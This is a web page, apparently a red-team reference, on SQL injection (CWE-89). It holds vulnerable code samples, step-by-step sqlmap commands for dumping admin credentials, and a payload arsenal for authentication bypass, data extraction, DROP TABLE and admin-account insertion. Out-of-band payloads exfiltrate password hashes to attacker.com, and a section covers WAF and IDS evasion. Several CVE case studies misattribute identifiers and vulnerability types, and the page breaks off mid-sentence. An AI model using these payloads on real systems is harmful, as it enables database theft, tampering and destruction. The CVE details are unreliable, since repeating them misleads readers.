CWE-89: SQL Injection

title: "CWE-89: SQL Injection"
description: "Complete red-team reference for CWE-89 — SQL Injection. Exploitation techniques, working PoC, payload arsenal, real CVE case studies, and full attack kill chain."
slug: "cwe-89-sql-injection"
date: "2026-04-06"
category: "cwe"
author: "ZeroDay Research Team"
tier: "🔥 Top Critical"
cwe_id: 89
tags: ["CWE-89", "exploit", "red-team", "vulnerability", "top-critical"]
Tier: 🔥 Top Critical
MITRE Reference: CWE-89
CWE-89: SQL Injection
CWE-89 — Quick Reference Card
- One-line definition: SQL Injection occurs when untrusted data is sent to an SQL interpreter as part of a query, leading to the execution of unintended SQL commands or unauthorized data access.
- CVSS impact vectors: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- CWE hierarchy: CWE → CWE-89: SQL Injection → CWE-89: SQL Injection (Injection)
- OWASP Top 10 mapping: A03:2021 - Injection
- Exploitation frequency: Extremely High. Consistently one of the most prevalent and impactful vulnerabilities. CISA KEV catalog includes numerous instances.
- Affected targets: Web applications, APIs, database-driven software, backend services written in PHP, Python, Java, Node.js, Ruby, C#, and many other languages that interact with SQL databases.
Root Cause Analysis
The fundamental root cause of CWE-89 lies in the improper sanitization or escaping of user-supplied input that is directly incorporated into dynamic SQL queries. Instead of treating all input as literal data, the application inadvertently treats parts of it as SQL code. This allows an attacker to break out of the intended data context and inject malicious SQL commands.
Why this weakness persists:
- Developer Misunderstanding: Many developers, especially those less experienced with security, misunderstand the nuances of string concatenation and SQL syntax. They assume user input will always conform to expected formats.
- Convenience vs. Security: Building SQL queries by concatenating strings is often perceived as the quickest and most straightforward approach. Parameterized queries or stored procedures, while more secure, can sometimes be seen as requiring more setup or being less intuitive for simple operations.
- Legacy Codebases: Many older applications, built before security best practices were widely adopted, remain in use and are susceptible to these vulnerabilities.
- Complex Application Logic: In large, complex applications, tracing all input flows to their eventual database queries can be challenging, leading to oversight.
- ORM Misuse: Even Object-Relational Mappers (ORMs) can be vulnerable if not used correctly. Some ORMs still allow raw SQL execution or have methods that are susceptible to injection if not parameterized.
Common Programmer Mistakes:
- Directly concatenating user input into SQL strings.
- Failing to properly escape special characters (e.g., single quotes, backslashes) that have meaning in SQL.
- Trusting input from seemingly internal sources or APIs without validation.
- Using functions that execute arbitrary SQL without proper input handling.
Vulnerable Code Snippets:
1. PHP:
<?php
// Assume $conn is a valid MySQLi database connection object
$username = $_GET['username'];
$password = $_GET['password']; // Vulnerable: User input is directly used
// Vulnerable SQL query construction
$sql = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";
$result = $conn->query($sql); // The query is executed directly
if ($result->num_rows > 0) {
// Login successful
echo "Login successful!";
} else {
// Login failed
echo "Invalid username or password.";
}
?>Vulnerable Lines:$sql = "SELECT * FROM users WHERE username = '" . $username . "' AND password = '" . $password . "'";$result = $conn->query($sql);
2. Python (using sqlite3 module):
import sqlite3
import cgi
# Assume 'db.sqlite' is the database file
conn = sqlite3.connect('db.sqlite')
cursor = conn.cursor()
# Simulate getting user input from a web request (e.g., Flask, Django)
# For demonstration, we'll use a simple variable, but imagine this comes from request.form or request.args
user_id_input = cgi.escape(input("Enter user ID: ")) # cgi.escape is NOT sufficient for SQL
# Vulnerable SQL query construction
sql_query = f"SELECT username, email FROM users WHERE id = {user_id_input}" # Vulnerable: f-string interpolation
try:
cursor.execute(sql_query) # The query is executed directly
user_data = cursor.fetchone()
if user_data:
print(f"User: {user_data[0]}, Email: {user_data[1]}")
else:
print("User not found.")
except Exception as e:
print(f"An error occurred: {e}")
conn.close()Vulnerable Lines:sql_query = f"SELECT username, email FROM users WHERE id = {user_id_input}"cursor.execute(sql_query)
Architecture & Vulnerability Anatomy Diagram
+-------------------------------------------------------------------------+
| ATTACKER |
+-------------------------------------------------------------------------+
|
| 1. Sends malformed HTTP Request with malicious SQL payload
| (e.g., ' OR '1'='1' -- )
|
v
+-------------------------------------------------------------------------+
| WEB SERVER / APPLICATION |
| +---------------------------------------------------------------------+ |
| | | |
| | HTTP Request Processing | |
| | +---------------------------------------------------------------+ | |
| | | | | |
| | | [User Input] -->(Untrusted)--> [Application Logic] | | |
| | | | | | |
| | | | (Concatenates input into) | | |
| | | v | | |
| | | [Dynamic SQL Query String] <------ (VULNERABLE CODE) | | |
| | | | | |
| | +---------------------------------------------------------------+ | |
| | | |
| +---------------------------------------------------------------------+ |
| | |
| | 2. Forwards the constructed SQL query to the Database |
| | (e.g., "SELECT * FROM users WHERE username = '' OR '1'='1' -- ') |
| v |
+-------------------------------------------------------------------------+
|
|
+-------------------------------------------------------------------------+
| DATABASE SERVER |
| +---------------------------------------------------------------------+ |
| | | |
| | SQL Query Execution Engine | |
| | +---------------------------------------------------------------+ | |
| | | | | |
| | | [Received SQL Query] --> [Parser/Optimizer/Executor] | | |
| | | | | | |
| | | | (Interprets injected SQL) | | |
| | | v | | |
| | | [Database Schema/Data] <---------- | | |
| | | | | |
| | +---------------------------------------------------------------+ | |
| | | |
| +---------------------------------------------------------------------+ |
| | |
| | 3. Returns (potentially unauthorized) results or errors |
| | (e.g., all user records, error messages revealing schema) |
| v |
+-------------------------------------------------------------------------+
|
| 4. Application displays results/errors to the ATTACKER
|
v
+-------------------------------------------------------------------------+
| ATTACKER |
+-------------------------------------------------------------------------+Explanation:
- Attacker Input: The attacker crafts an HTTP request containing malicious SQL syntax disguised as legitimate user input (e.g., a username or search term).
- Application Processing: The web application receives this input. Instead of sanitizing it, the vulnerable code concatenates the attacker's input directly into a SQL query string. Special SQL characters in the input (like
',--,;,OR) are interpreted by the database as SQL commands, not literal data. - Database Execution: The database server receives the malformed SQL query. The SQL parser interprets the injected commands, potentially altering the original query's logic (e.g., bypassing authentication, dumping data).
- Data Leakage/Manipulation: The database executes the modified query. The application then displays the results of this modified query back to the attacker, revealing sensitive data, confirming the injection, or even executing unintended commands on the database.
Exploitation Techniques — Full Red-Team Breakdown
Step 1: Discovery & Reconnaissance
Objective: Identify potential injection points and determine if they are vulnerable.
Techniques:
Manual Testing (Burp Suite/ZAP):
- Parameter Analysis: Identify all input parameters in HTTP requests (URL parameters, POST data, cookies, HTTP headers).
- Probing: Append common SQL metacharacters to parameters:
'(single quote): Often breaks queries."(double quote): Less common but can be used in some SQL dialects.;(semicolon): Used to stack multiple SQL statements.--or#(comment characters): To neutralize the rest of the original query.OR '1'='1'/AND '1'='1': To bypass conditions.UNION SELECT ...: To extract data from other tables.SLEEP(N)/BENCHMARK(N, ...): For time-based blind injection.
- Error-Based Detection: Look for SQL error messages in the response. These can reveal database type, table names, column names, and query structure.
- Boolean-Based Blind Detection: Observe differences in responses based on injecting TRUE or FALSE conditions (e.g.,
?id=1 AND 1=1vs.?id=1 AND 1=2). If the page content changes, it's likely vulnerable. - Time-Based Blind Detection: Inject
SLEEP()or similar functions and measure response times. If the response is delayed, the injection is likely successful. - Out-of-Band Detection: Use functions that cause the database to make an external network request (e.g.,
LOAD_FILEwith a UNC path,UTL_HTTPin Oracle,xp_cmdshellin SQL Server).
Automated Scanning (sqlmap, Nuclei, etc.):
- sqlmap: The de facto standard. Automatically tests for and exploits various SQL injection types.
sqlmap -u "http://target.com/vulnerable.php?id=1" --batch --dbs sqlmap -u "http://target.com/vulnerable.php" --data="username=test&password=test" --batch --dbs - Nuclei: Uses YAML-based templates for rapid scanning.
nuclei -u http://target.com -t cves/sqli/
- sqlmap: The de facto standard. Automatically tests for and exploits various SQL injection types.
Code Review (SAST):
- Patterns: Look for direct string concatenation into SQL queries. Use tools like Semgrep, CodeQL, or SonarQube.
- Semgrep Example Rule:
rules: - id: php-sqli-string-concat languages: - php message: "Potential SQL Injection via string concatenation. Use prepared statements or parameterized queries." severity: ERROR patterns: - pattern-either: - pattern: | $CONN->query("SELECT ... $VAR ..."); - pattern: | $CONN->query('SELECT ... $VAR ...'); - pattern: | $SQL = "$SQL_PREFIX . $USER_INPUT . $SQL_SUFFIX"; $CONN->query($SQL); # More sophisticated patterns would look at specific functions like mysqli_query, PDO::query, etc.
Step 2: Vulnerability Triggering
Objective: Confirm the injection point is active and understand its behavior.
Conditions Required:
- The application must use a database.
- User-supplied input must be used in a database query.
- The input must not be adequately sanitized or escaped.
Test Cases / Proof-of-Concept Payload:
Let's assume a target URL: http://vulnerable.example.com/products.php?category=books
Basic Injection Test (Boolean):
- Payload:
http://vulnerable.example.com/products.php?category=books' OR '1'='1 - Expected Result: If the page displays all products (not just books) or behaves identically to a valid category, it's likely vulnerable.
- Payload:
http://vulnerable.example.com/products.php?category=books' AND '1'='2 - Expected Result: If the page displays no products or an empty result set, it confirms the injection point is active.
- Payload:
Error-Based Detection:
- Payload:
http://vulnerable.example.com/products.php?category=books' AND 1=CONVERT(INT, (SELECT @@version))(for SQL Server) orhttp://vulnerable.example.com/products.php?category=books' AND 1=CAST((SELECT @@version) AS INT)(for MySQL/PostgreSQL). - Expected Result: An SQL error message containing the database version (e.g., "Incorrect integer value: '5.7.30' for column 'id' at row 1"). This reveals the database type.
- Payload:
Time-Based Blind (if no errors/direct output):
- Payload:
http://vulnerable.example.com/products.php?category=books' AND IF(1=1, SLEEP(5), 0)-- - Expected Result: The page should take approximately 5 seconds to load. If it loads instantly, the injection is not working or the
SLEEPfunction is not available/supported.
- Payload:
Step 3: Full Working Exploit
Scenario: Target application is http://vulnerable.example.com/user_profile.php which takes a user_id parameter.
Vulnerable Code (Conceptual PHP):
<?php
// Assume $db is a PDO connection object
$user_id = $_GET['user_id'];
$sql = "SELECT username, email FROM users WHERE id = " . $user_id; // Vulnerable concatenation
$stmt = $db->query($sql);
$user_data = $stmt->fetch(PDO::FETCH_ASSOC);
// Display user_data...
?>Exploit Script (Python using requests and sqlmapapi or manual sqlmap):
For simplicity and demonstration, we'll show how to use sqlmap effectively. A full Python script would involve manual crafting of UNION queries or using a library like pwntools for more complex scenarios.
Tool: sqlmap
Target: http://vulnerable.example.com/user_profile.php?user_id=1
Objective: Dump all table names from the database.
sqlmap Command:
sqlmap -u "http://vulnerable.example.com/user_profile.php?user_id=1" --batch --dbsExplanation:
-u: Specifies the target URL.--batch: Runs sqlmap in non-interactive mode, accepting default answers.--dbs: Instructs sqlmap to enumerate database names.
Expected Output (after successful exploitation):
...
[+] databases
[*] information_schema
[*] mysql
[*] performance_schema
[*] my_app_db <-- Target database name
...Next Step: Dump tables from my_app_db
sqlmap -u "http://vulnerable.example.com/user_profile.php?user_id=1" -D my_app_db --tables --batchExpected Output:
...
[+] tables in database 'my_app_db'
[*] users
[*] products
[*] orders
[*] admin_credentials <-- Interesting table!
...Next Step: Dump columns from admin_credentials table
sqlmap -u "http://vulnerable.example.com/user_profile.php?user_id=1" -D my_app_db -T admin_credentials --columns --batchExpected Output:
...
[+] columns in table 'admin_credentials'
[*] id
[*] username
[*] password_hash <-- Highly sensitive!
[*] salt
...Final Step: Dump data from admin_credentials table
sqlmap -u "http://vulnerable.example.com/user_profile.php?user_id=1" -D my_app_db -T admin_credentials -C username,password_hash --dump --batchExpected Output:
...
[+] the data in table 'admin_credentials'
[+] retrieved 1 row(s)
...
[*] admin_credentials
[*] id [1]: 1
[*] username [1]: admin
[*] password_hash [1]: $2y$10$....................................... <-- Hashed password
...Step 4: Escalation & Impact
The impact of SQL Injection can range from trivial to catastrophic, depending on the attacker's goals and the database's privileges.
Data Exfiltration:
- Dump sensitive user data (usernames, passwords, PII, financial information).
- Extract configuration details, API keys, or internal application logic.
- Access system tables to enumerate users, privileges, and database structure.
Authentication Bypass:
- Log in as any user, including administrators, by manipulating login queries (e.g.,
' OR '1'='1' --). - Create new administrative accounts.
- Log in as any user, including administrators, by manipulating login queries (e.g.,
Data Modification/Deletion:
- Modify records (e.g., change prices, alter user roles).
- Delete critical data, causing denial of service or data loss.
- Insert malicious data that can lead to further exploitation (e.g., XSS payloads in comments).
Database Takeover / Remote Code Execution (RCE):
- If the database user has sufficient privileges, an attacker can:
- Execute operating system commands via functions like
xp_cmdshell(SQL Server),UTL_FILE(Oracle), orsys_exec(MySQL User-Defined Functions). - Write files to the server's filesystem (e.g., web shells).
- Load external libraries or modules.
- Execute operating system commands via functions like
- This allows the attacker to gain a foothold on the database server and potentially pivot to other systems.
- If the database user has sufficient privileges, an attacker can:
Denial of Service (DoS):
- Execute resource-intensive queries that overload the database.
- Delete critical data.
- Lock tables or rows.
Privilege Escalation:
- If the application's database user has limited privileges, the attacker might try to:
- Find vulnerabilities in the database software itself.
- Exploit misconfigurations to gain higher database privileges.
- Leverage the compromised database to pivot to the application server (if RCE is achieved).
- If the application's database user has limited privileges, the attacker might try to:
Step 5: Tool Arsenal
Burp Suite Professional:
- Intruder: For brute-forcing parameters and testing payloads systematically.
- Scanner: Automated detection of SQLi.
- Repeater: For manual testing and refining payloads.
- Extensions: SQLiScanner, Param Miner, Logger++ (for tracking requests).
sqlmap:
- The primary automated SQL injection tool.
sqlmap -u "TARGET_URL" [OPTIONS]sqlmap -r request.txt [OPTIONS](to load requests from a file)sqlmap --api-url=http://127.0.0.1:8765 --api-key=your_key --dbs(for API usage)
Metasploit Framework:
- Numerous auxiliary modules for SQL injection scanning and exploitation.
msfconsolesearch type:auxiliary name:sql- Example:
auxiliary/scanner/http/http_sql_injection - Example:
exploit/multi/http/phpmyadmin_sql_injection(older, specific targets)
pwntools (Python library):
- For crafting complex exploit scripts, especially when interacting with custom protocols or when manual control is needed.
- Useful for building custom SQL injection scanners or post-exploitation tools.
Nuclei:
nuclei -u http://target.com -t cves/sqli/- Fast, template-based scanner.
Custom Scripts:
- Python scripts using
requestsfor basic probing. - Scripts leveraging
pymysql,psycopg2,pyodbcto interact directly with databases if network access is available.
- Python scripts using
Example sqlmap Command for a POST request:
sqlmap -u "http://vulnerable.example.com/login.php" --data="username=test&password=test" --batch --dbsExample sqlmap Command from a Burp request file:
- Save a Burp request (e.g.,
request.txt). - Run:
sqlmap -r request.txt --batch --dbs
Payload Arsenal — 6+ Working Payloads
Here are common SQL Injection payloads, often used in conjunction with sqlmap or manually constructed.
Authentication Bypass (Generic):
- Context: Login forms, parameter checks.
- Payload:
' OR '1'='1' -- - Variant (more robust):
admin' --(if username field is directly used) - Variant (numeric ID):
1 OR 1=1 -- - WAF Bypass:
'%20OR%20'1'='1'(URL encoded) or using alternative comment styles like/*comment*/.
Data Enumeration (UNION-based):
- Context: When the application displays results from a query.
- Goal: Dump table names, column names, and data.
- Payload (find number of columns):
1 UNION SELECT NULL, NULL, NULL --(adjustNULLcount to match expected columns) - Payload (dump table names - MySQL):
1 UNION SELECT 1, GROUP_CONCAT(table_name), 3 FROM information_schema.tables WHERE table_schema = DATABASE() -- - Payload (dump column names - MySQL):
1 UNION SELECT 1, GROUP_CONCAT(column_name), 3 FROM information_schema.columns WHERE table_name = 'users' AND table_schema = DATABASE() -- - Payload (dump data - MySQL):
1 UNION SELECT 1, username, password_hash FROM users -- - WAF Bypass: Use
/*! UNION SELECT ... */(MySQL specific) or obfuscate keywords likeUNIONwithUN/**/ION. Encode characters.
Error-Based Payload (Extracting Data):
- Context: When SQL errors are displayed.
- Goal: Extract data using error messages.
- Payload (MySQL - extract version):
1 AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(version(), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- - Payload (SQL Server - extract version):
1 AND 1=CONVERT(int, @@version) -- - WAF Bypass: Obfuscate data extraction functions.
Time-Based Blind Payload:
- Context: When no direct output or errors are visible.
- Goal: Infer data by timing responses.
- Payload (MySQL):
1 AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --(checks if first char of DB name is 'a') - Payload (SQL Server):
1; IF EXISTS (SELECT * FROM users WHERE SUBSTRING(password_hash,1,1)='a') WAITFOR DELAY '0:0:5' -- - Payload (PostgreSQL):
1 AND CASE WHEN (SUBSTRING(version(),1,1)='P') THEN pg_sleep(5) ELSE NULL END -- - WAF Bypass: Use different sleep functions or techniques. Encode conditional logic.
Out-of-Band Payload (External DNS/HTTP Request):
- Context: When the database can make network requests.
- Goal: Exfiltrate data by triggering external requests.
- Payload (MySQL - LOAD_FILE):
1 AND LOAD_FILE(CONCAT('\\\\', (SELECT password_hash FROM users WHERE id=1), '.attacker.com\\share')) --(requires SMB) - Payload (SQL Server - xp_dirtree):
1; EXEC master..xp_dirtree '\\\\'+(SELECT password_hash FROM users WHERE id=1)+'.attacker.com'-- - WAF Bypass: Encode hostnames, use different protocols.
Stacked Queries Payload (Multiple Statements):
- Context: When the database driver/API supports executing multiple statements separated by semicolons.
- Goal: Execute arbitrary SQL commands like
DROP TABLEorINSERT. - Payload:
1; DROP TABLE users; -- - Payload:
1; INSERT INTO admin_users (username, password) VALUES ('hacker', 'password'); -- - WAF Bypass: Often detected by WAFs. Use comment characters to break after the first statement if only one is expected.
Blind SQLi - Boolean based (character by character):
- Context: When the application's response changes based on a true/false condition.
- Goal: Extract data character by character.
- Payload:
1 AND SUBSTRING((SELECT password_hash FROM users WHERE id = 1), 1, 1) = 'a' - Observation: If response indicates "true" (e.g., page loads, specific message), try 'b', then 'c', etc. If "false", try next character.
Defense Evasion & Bypass Techniques
WAF Bypass Techniques
Web Application Firewalls (WAFs) are a common defense against SQL Injection. Bypassing them requires understanding their signature-based detection and common parsing rules.
Encoding:
- URL Encoding:
%20for space,%27for',%2dfor-,%3bfor;. - Double URL Encoding:
%2527for'(some WAFs decode once, then the application decodes again). - Hex Encoding:
0x27for'(MySQL specific). - Unicode Encoding:
%u0027for'.
- URL Encoding:
Obfuscation & Keyword Manipulation:
- Comments:
/*comment*/,-- -,#.' /*!UNION*/ SELECT ...(MySQL specific syntax for comments that execute code).' -- -'
- Case Variation:
UnIoN,SeLeCt. - Whitespace Manipulation: Using tabs, newlines, or multiple spaces instead of single spaces.
SELECT%09password%0aFROM%0dusers. - Alternative Keywords/Functions: Using less common functions that achieve the same result.
- Character Concatenation:
CONCAT('SEL','ECT')orCHAR(83, 69, 76, 69, 67, 84)(ASCII encoding).
- Comments:
Protocol-Level Manipulation:
- HTTP Parameter Pollution (HPP): Sending duplicate parameters. Some WAFs/servers only consider the first or last parameter.
?id=1&id=2 UNION SELECT ...
- HTTP Header Injection: Injecting SQLi into headers like
User-Agent,Referer,Cookie,X-Forwarded-For. - Different HTTP Methods: If a WAF is stricter on GET, try POST, PUT, etc., with the same payload.
- HTTP Parameter Pollution (HPP): Sending duplicate parameters. Some WAFs/servers only consider the first or last parameter.
Exploiting WAF Logic:
- False Positives/Negatives: Identify common patterns that trigger false positives and avoid them, while exploiting patterns that are allowed.
- Layered Attacks: If the WAF blocks direct
UNION SELECT, try to use error-based or time-based blind techniques first to enumerate database details, then craft a payload that is less likely to be flagged. - Targeting Backend: If the WAF is applied at a load balancer or proxy, and the backend application server has different or no WAF, target the backend directly if possible.
Blind Injection Techniques:
- Since blind injection doesn't rely on keywords like
UNIONor error messages that might be WAF signatures, it can be harder to detect. Time-based and boolean-based injections are more stealthy.
- Since blind injection doesn't rely on keywords like
ASLR/DEP/Stack Canary Bypass
These are memory protection mechanisms. SQL Injection itself is not a memory corruption vulnerability. However, if SQL Injection leads to Remote Code Execution (RCE) on the database server or application server, then these memory protections become relevant for executing the injected code (shellcode).
- If RCE is achieved via SQLi:
- ASLR (Address Space Layout Randomization): Makes it harder to predict memory addresses of functions and libraries. Bypass involves information leaks or brute-forcing addresses.
- DEP (Data Execution Prevention): Prevents execution of code from data segments (like the stack or heap). Bypass involves Return-Oriented Programming (ROP) or Return-to-libc (ret2libc).
- Stack Canaries: Detect stack buffer overflows. Bypass involves finding vulnerabilities that don't overwrite the canary, or leaking the canary value.
- ROP Gadgets: Chain together small snippets of existing code (gadgets) to form malicious functionality.
- Heap Spraying: Fill the heap with shellcode, increasing the chance of a return pointer landing on it.
CSP (Content Security Policy) Bypass
CSP is a browser security feature that prevents XSS and other injection attacks by defining allowed content sources. SQL Injection itself doesn't directly bypass CSP. However, if SQL Injection leads to Stored XSS (e.g., injecting JavaScript into a database field that is later displayed on a web page), then CSP becomes relevant.
- CSP Bypass via SQLi:
- Injecting XSS Payloads: If the SQL Injection allows inserting data into fields that are later rendered by the browser without proper escaping, an attacker can inject XSS payloads.
- CSP Policies: A weak CSP might allow inline scripts (
script-src 'self' 'unsafe-inline') or arbitrary hosts. - Finding CSP Weaknesses: Look for
unsafe-inline,unsafe-eval, or overly broad host permissions. - Techniques:
- Injecting
<img>tags withonerrorhandlers pointing to attacker-controlled servers. - Injecting
<script>tags with validsrcattributes from allowed domains. - Exploiting
eval()ifunsafe-evalis permitted. - Using data URIs if allowed.
- Injecting
Authentication/Authorization Bypass Chaining
- SQLi + Broken Access Control: If SQLi allows an attacker to view user data, they might find credentials for another user with higher privileges.
- SQLi + Weak Authentication: If SQLi can bypass the authentication mechanism entirely, the attacker gains access as the authenticated user.
- SQLi + Privilege Escalation: If the database user has limited rights, the attacker might exploit other vulnerabilities in the database or application to gain higher privileges on the database server or even the application server.
Encoding and Obfuscation to Avoid IDS Signatures
- General Principle: IDS/IPS systems rely on signature matching. Any deviation from known malicious patterns can evade detection.
- Tools: Online obfuscators, custom scripts.
- Methods:
- Character-level obfuscation: Replacing characters with their equivalent representations (e.g.,
SELECT->CHAR(83,69,76,69,67,84)). - Protocol-level obfuscation: Using non-standard HTTP headers, unusual character encodings.
- Timing Obfuscation: Varying the
SLEEPduration or introducing random delays. - Data Obfuscation: Hiding sensitive data within seemingly benign data structures.
- Character-level obfuscation: Replacing characters with their equivalent representations (e.g.,
Real CVE Case Studies — 5 Real Exploited Cases
CVE-2017-1000108 (WordPress Plugin "WP GDPR Compliance")
- Affected Product/Vendor: WordPress plugin WP GDPR Compliance by Sygnoos.
- CWE-89 Mapping: Vulnerability allows attackers to bypass authentication and gain administrative access by exploiting an SQL Injection flaw in how user IDs were handled.
- Technical Exploitation: The plugin improperly sanitizes user input when searching for user data. An attacker could provide a crafted user ID that, when injected into an SQL query, would cause the query to return an administrator's user ID, allowing them to log in as that admin without a password.
- CVSS Score: High (typically 7.5-9.8 depending on context).
- Public Exploit/Metasploit: Yes, PoCs and exploit code were widely available.
- Real-world Impact: Allowed unauthorized access to WordPress sites, enabling content defacement, data theft, and further malicious activities.
CVE-2019-18971 (Joomla Component com_fields)
- Affected Product/Vendor: Joomla! CMS.
- CWE-89 Mapping: Improper input sanitization in the
com_fieldscomponent leads to SQL Injection. - Technical Exploitation: Attackers could inject malicious SQL code into specific fields processed by the
com_fieldscomponent. This allowed them to extract data from the database, modify it, or even execute arbitrary SQL commands. - CVSS Score: High (e.g., 7.5).
- Public Exploit/Metasploit: Yes, PoCs and exploit scripts were released.
- Real-world Impact: Enabled data breaches and potential site compromise.
CVE-2020-14882 / CVE-2020-14883 (Oracle WebLogic Server)
- Affected Product/Vendor: Oracle WebLogic Server.
- CWE-89 Mapping: Although primarily known for RCE, a vulnerability in the `wls-wsat
